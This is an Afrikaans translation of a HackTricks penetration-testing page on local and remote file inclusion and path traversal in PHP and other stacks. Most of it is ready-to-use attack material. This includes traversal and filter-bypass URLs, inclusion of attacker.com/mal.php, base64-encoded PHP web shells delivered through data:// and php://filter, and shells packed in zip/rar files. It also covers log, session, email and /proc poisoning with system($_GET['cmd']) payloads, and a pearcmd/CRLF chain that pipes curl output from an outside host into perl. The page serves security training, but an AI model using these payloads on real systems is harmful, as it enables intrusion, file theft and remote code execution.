Lêer Insluiting/Pad Traversie
Reading time: 27 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Lêer Insluiting
Afgeleë Lêer Insluiting (RFI): Die lêer word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit deaktiviseer per standaard (allow_url_include).
Plaaslike Lêer Insluiting (LFI): Die bediener laai 'n plaaslike lêer.
Die kwesbaarheid gebeur wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
Kwetsbare PHP funksies: require, require_once, include, include_once
'n Interessante hulpmiddel om hierdie kwesbaarheid te benut: https://github.com/kurobeats/fimap
Blind - Interessant - LFI2RCE lêers
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Deur verskeie *nix LFI-lists te meng en meer paaie by te voeg, het ek hierdie een geskep:
Probeer ook om /
te verander na \
Probeer ook om ../../../../../
by te voeg.
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.
Windows
Samevoeging van verskillende woordlyste:
Probeer ook om /
te verander na \
Probeer ook om C:/
te verwyder en ../../../../../
by te voeg.
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.
OS X
Kontroleer die LFI lys van linux.
Basiese LFI en omseilings
Al die voorbeelde is vir Local File Inclusion, maar kan ook op Remote File Inclusion toegepas word (bladsy=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traverseringsekwensies nie-rekursief verwyder
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Om die byvoeging van meer karakters aan die einde van die verskafde string te omseil (omseiling van: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Dit is opgelos sedert PHP 5.4
Kodering
Jy kan nie-standaard kodering soos dubbele URL-kodering (en ander) gebruik:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Van bestaande gids
Miskien kyk die agterkant na die gids pad:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Verkenning van Lêerstelsels op 'n Bediening
Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory-diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
- Bepaal Directory Diepte: Bepaal die diepte van jou huidige directory deur suksesvol die
/etc/passwd
lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Dienste vir Gidsen: Voeg die naam van die vermoedlike gids (bv.
private
) by die URL, en navigeer dan terug na/etc/passwd
. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpret die Uitslae: Die bediener se antwoord dui aan of die gids bestaan:
- Fout / Geen Uitset: Die gids
private
bestaan waarskynlik nie op die gespesifiseerde ligging nie. - Inhoud van
/etc/passwd
: Die teenwoordigheid van dieprivate
gids word bevestig.
- Recursiewe Verkenning: Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of /var/www/
'n private
gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Pad Afkorting Tegniek
Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, en/etc/passwd/
word almal as dieselfde pad hanteer.- Wanneer die laaste 6 karakters
passwd
is, verander die toevoeging van 'n/
(wat ditpasswd/
maak) nie die geteikende lêer nie. - Op soortgelyke wyse, as
.php
aan 'n lêerpad gevoeg word (soosshellcode.php
), sal die toevoeging van/.
aan die einde nie die lêer wat toegang verkry nie, verander.
Die verskafde voorbeelde demonstreer hoe om pad afkorting te gebruik om toegang te verkry tot /etc/passwd
, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
- Gebruik van Punt Segmente en Bykomende Karakters: Traversal volgordes (
../
) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer. - Bepaling van die Benodigde Aantal Traversals: Deur middel van proef en fout kan 'n mens die presiese aantal
../
volgordes vind wat nodig is om na die wortelgids te navigeer en dan na/etc/passwd
, terwyl verseker word dat enige bygevoegde stringe (soos.php
) geneutraliseer word, maar die gewenste pad (/etc/passwd
) intakt bly. - Begin met 'n Vals Gids: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos
a/
) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad parsingslogika te voldoen.
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
Hierdie kwesbaarheid is in PHP 5.3 reggestel.
Filter omseil truuks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php is dit standaard gedeaktiveer omdat allow_url_include
is Af. Dit moet Aan wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
As dit om een of ander rede allow_url_include
is Aan, maar PHP filter toegang tot eksterne webbladsye, volgens hierdie pos, kan jy byvoorbeeld die data protokol met base64 gebruik om 'n b64 PHP kode te dekodeer en RCE te verkry:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
note
In die vorige kode is die finale +.txt
bygevoeg omdat die aanvaller 'n string nodig gehad het wat in .txt
eindig, so die string eindig daarmee en na die b64-dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer word).
Nog 'n voorbeeld wat nie die php://
protokol gebruik nie sou wees:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Root element
In python in a code like this one:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
As die gebruiker 'n absolute pad na file_name
deurgee, word die vorige pad net verwyder:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Dit is die bedoelde gedrag volgens the docs:
As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die aansluiting gaan voort vanaf die absolute padkomponent.
Java Lys Gidsen
Dit lyk of jy 'n Pad Traversal in Java het en jy vra vir 'n gids in plaas van 'n lêer, 'n lys van die gids word teruggestuur. Dit sal nie in ander tale gebeur nie (sover ek weet).
Top 25 parameters
Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lêerinvoeging (LFI) kwesbaarhede (van link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI met PHP wrappers & protokolle
php://filter
PHP-filters laat basiese wysigingsoperasies op die data toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Verwyder tags van die data (alles tussen "<" en ">" karakters)- Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformeer na 'n ander kodering (convert.iconv.<input_enc>.<output_enc>
). Om die lys van alle ondersteunde kodering te kry, voer in die konsole in:iconv -l
warning
Deur die convert.iconv.*
omskakelingsfilter te misbruik, kan jy arbitraire teks genereer, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te maak. Vir meer inligting, kyk na LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)zlib.inflate
: Decomprimeer die data- Encryption Filters
mcrypt.*
: Verouderdmdecrypt.*
: Verouderd- Ander Filters
- Deur in php
var_dump(stream_get_filters());
te loop, kan jy 'n paar onverwagte filters vind: consumed
dechunk
: keer HTTP chunked kodering omconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Die deel "php://filter" is nie-sensitief vir hoofletters nie
Gebruik php filters as orakel om arbitrêre lêers te lees
In hierdie pos word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php filters as orakel. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering gooi.
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
- Gebruik die kodek
UCS-4LE
om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter. - Dit sal gebruik word om 'n teks so groot te genereer wanneer die aanvanklike letter korrek geraai word dat php 'n fout sal veroorsaak.
- Die dechunk filter sal alles verwyder as die eerste karakter nie 'n hexadesimale is nie, sodat ons kan weet of die eerste karakter hex is.
- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php fout veroorsaak.
- Die kodek convert.iconv.UNICODE.CP930 transformeer elke letter in die volgende een (so na hierdie kodek: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n
a
is byvoorbeeld, want as ons 6 van hierdie kodek toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php fout word veroorsaak omdat dit met die aanvanklike bom vermenigvuldig. - Deur ander transformasies soos rot13 aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeks kan gebruik word om ander letters na die hex reeks te beweeg).
- Wanneer die aanvanklike karakter 'n nommer is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die nommer te lek.
- Die finale probleem is om te sien hoe om meer as die aanvanklike letter te lek. Deur orde geheue filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
- En ten einde verdere data te verkry, is die idee om 2 bytes van rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, toepas UCS-4LE om dit te pivot met die volgende 2 bytes, en verwyder die data tot die rommeldata (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: php_filters_chain_oracle_exploit.
php://fd
Hierdie wrapper laat toegang toe tot lêer beskrywings wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
U kan ook php://stdin, php://stdout en php://stderr gebruik om toegang te verkry tot die lêer beskrywings 0, 1 en 2 onderskeidelik (nie seker hoe dit nuttig kan wees in 'n aanval nie)
zip:// en rar://
Laai 'n Zip of Rar-lêer op met 'n PHPShell binne en toegang dit.
Om die rar-protokol te kan misbruik, moet dit spesifiek geaktiveer word.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Let wel dat hierdie protokol beperk word deur php-konfigurasies allow_url_open
en allow_url_include
expect://
Expect moet geaktiveer wees. Jy kan kode uitvoer met hierdie:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Gee jou payload in die POST parameters:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
'n .phar
-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include
vir lêerlaai benut. Die PHP-kodesnit hieronder demonstreer die skepping van 'n .phar
-lêer:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Om die .phar
-lêer te kompileer, moet die volgende opdrag uitgevoer word:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Dit was moontlik om enige arbitrêre lêer wat van PHP gelees word wat php-filters ondersteun te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan gevind word in hierdie pos.
Baie vinnige opsomming: 'n 3 byte oorgang in die PHP heap is misbruik om die ketting van vrye stukke van 'n spesifieke grootte te verander sodat dit moontlik was om enigiets in enige adres te skryf, so 'n haak is bygevoeg om system
aan te roep.
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêerinvoegaanval nie)
- file:// — Toegang tot plaaslike lêerstelsel
- http:// — Toegang tot HTTP(s) URL's
- ftp:// — Toegang tot FTP(s) URL's
- zlib:// — Kompressiestrome
- glob:// — Vind padname wat aan patroon voldoen (Dit gee niks drukbaar terug nie, so nie regtig nuttig hier nie)
- ssh2:// — Secure Shell 2
- ogg:// — Klankstrome (Nie nuttig om arbitrêre lêers te lees nie)
LFI via PHP's 'assert'
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus traversering karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Terwyl dit daarop gemik is om traversie te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut om lêerinhoud te lees, kan 'n aanvaller gebruik maak van:
' and die(highlight_file('/etc/passwd')) or '
Net so, om arbitrêre stelselskommando's uit te voer, kan 'n mens gebruik maak van:
' and die(system("id")) or '
Dit is belangrik om URL-encode hierdie payloads.
PHP Blind Path Traversal
warning
Hierdie tegniek is relevant in gevalle waar jy beheer oor die lêerpad van 'n PHP-funksie het wat 'n lêer sal toegang maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na file()
) maar die inhoud word nie gewys nie.
In hierdie ongelooflike pos word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP-filter om die inhoud van 'n lêer via 'n fout-orakel te exfiltreer.
In samevatting, die tegniek gebruik die "UCS-4LE" kodering om die inhoud van 'n lêer so groot te maak dat die PHP-funksie wat die lêer oopmaak 'n fout sal veroorsaak.
Dan, om die eerste karakter te lek, word die filter dechunk
gebruik saam met ander soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle te lek.
Funksies wat kwesbaar mag wees: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (slegs teiken lees net hiermee)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Vir die tegniese besonderhede kyk na die genoemde pos!
LFI2RCE
Remote File Inclusion
Soos voorheen verduidelik, volg hierdie skakel.
Via Apache/Nginx log lêer
As die Apache of Nginx bediener kwesbaar is vir LFI binne die insluitingsfunksie kan jy probeer om toegang te verkry tot /var/log/apache2/access.log
of /var/log/nginx/access.log
, stel binne die gebruikersagent of binne 'n GET parameter 'n php shell soos <?php system($_GET['c']); ?>
en sluit daardie lêer in.
warning
Let daarop dat as jy dubbele aanhalings gebruik vir die shell in plaas van enkele aanhalings, die dubbele aanhalings sal verander word na die string "quote;", PHP sal 'n fout gooi daar en niks anders sal uitgevoer word nie.
Maak ook seker dat jy die payload korrek skryf of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
Dit kan ook in ander logs gedoen word, maar wees versigtig, die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kopstuk authorisation "basic" bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kopstuk ingevoeg word.
Ander moontlike log paaie:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing woordlys: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via E-pos
Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?>
en probeer om in te sluit in die e-pos van die gebruiker met 'n pad soos /var/mail/<USERNAME>
of /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Laai 'n groot aantal shells op (byvoorbeeld: 100)
- Sluit http://example.com/index.php?page=/proc/$PID/fd/$FD in, met $PID = PID van die proses (kan brute-forced word) en $FD die lêerdeskriptor (kan ook brute-forced word)
Via /proc/self/environ
Soos 'n loglêer, stuur die payload in die User-Agent, dit sal binne die /proc/self/environ lêer weerspieël word
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Deur op te laai
As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.
Deur Zip lêer op te laai
Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Deur PHP sessies
Kontroleer of die webwerf PHP-sessie (PHPSESSID) gebruik.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP word hierdie sessies in /var/lib/php5/sess\[PHPSESSID]_ lêers gestoor.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Stel die koekie in op <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Gebruik die LFI om die PHP-sessie lêer in te sluit
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot <HOME>/.ssh/id_rsa
Via vsftpd logs
Die logs vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
- Spuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
- Na inspuiting, gebruik die LFI om die bedienerlogs van /var/log/vsftpd.log te verkry.
Via php base64 filter (using base64)
Soos in this artikel gewys, ignoreer die PHP base64 filter eenvoudig Non-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (geen lêer nodig)
Hierdie skrywe verduidelik dat jy php filters kan gebruik om arbitrêre inhoud as uitvoer te genereer. Dit beteken basies dat jy arbitrêre php kode vir die insluiting kan genereer sonder om dit in 'n lêer te skryf.
Via segmentasiefout
Laai 'n lêer op wat as tydelik in /tmp
gestoor sal word, dan in die dieselfde versoek, veroorsaak 'n segmentasiefout, en dan sal die tydelike lêer nie verwyder word nie en jy kan daarna soek.
LFI2RCE via Segmentation Fault
Via Nginx tydelike lêer stoor
As jy 'n Plaaslike Lêer Insluiting gevind het en Nginx loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:
Via PHP_SESSION_UPLOAD_PROGRESS
As jy 'n Plaaslike Lêer Insluiting gevind het selfs al het jy nie 'n sessie nie en session.auto_start
is Off
. As jy die PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data verskaf, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te verkry:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via tydelike lêer opgelaai in Windows
As jy 'n Plaaslike Lêer Insluiting gevind het en die bediener loop in Windows, kan jy RCE verkry:
Via pearcmd.php
+ URL args
Soos verduidelik in hierdie pos, bestaan die skrip /usr/local/lib/phppearcmd.php
standaard in php docker beelde. Boonop is dit moontlik om argumente aan die skrip deur die URL te gee omdat dit aangedui word dat as 'n URL parameter nie 'n =
het nie, dit as 'n argument gebruik moet word.
Die volgende versoek skep 'n lêer in /tmp/hello.php
met die inhoud <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Die volgende misbruik 'n CRLF kwesbaarheid om RCE te verkry (van hier):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
As jy 'n Local File Inclusion gevind het en 'n lêer wat phpinfo() blootstel met file_uploads = on, kan jy RCE kry:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Pad Ontsluiting
As jy 'n Local File Inclusion gevind het en jy kan die pad van die tydelike lêer uitvoer, MAAR die bediener is besig om te kyk of die lêer wat ingesluit moet word PHP merke het, kan jy probeer om daardie kontrole te omseil met hierdie Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via ewige wag + bruteforce
As jy die LFI kan misbruik om tydelike lêers op te laai en die bediener kan die PHP-uitvoering hang, kan jy dan brute force lêernames oor ure om die tydelike lêer te vind:
Tot Fatale Fout
As jy enige van die lêers /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
Ek weet nie hoe dit nuttig is nie, maar dit mag wees.
Alhoewel jy 'n PHP Fatale Fout veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder.
Verwysings
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.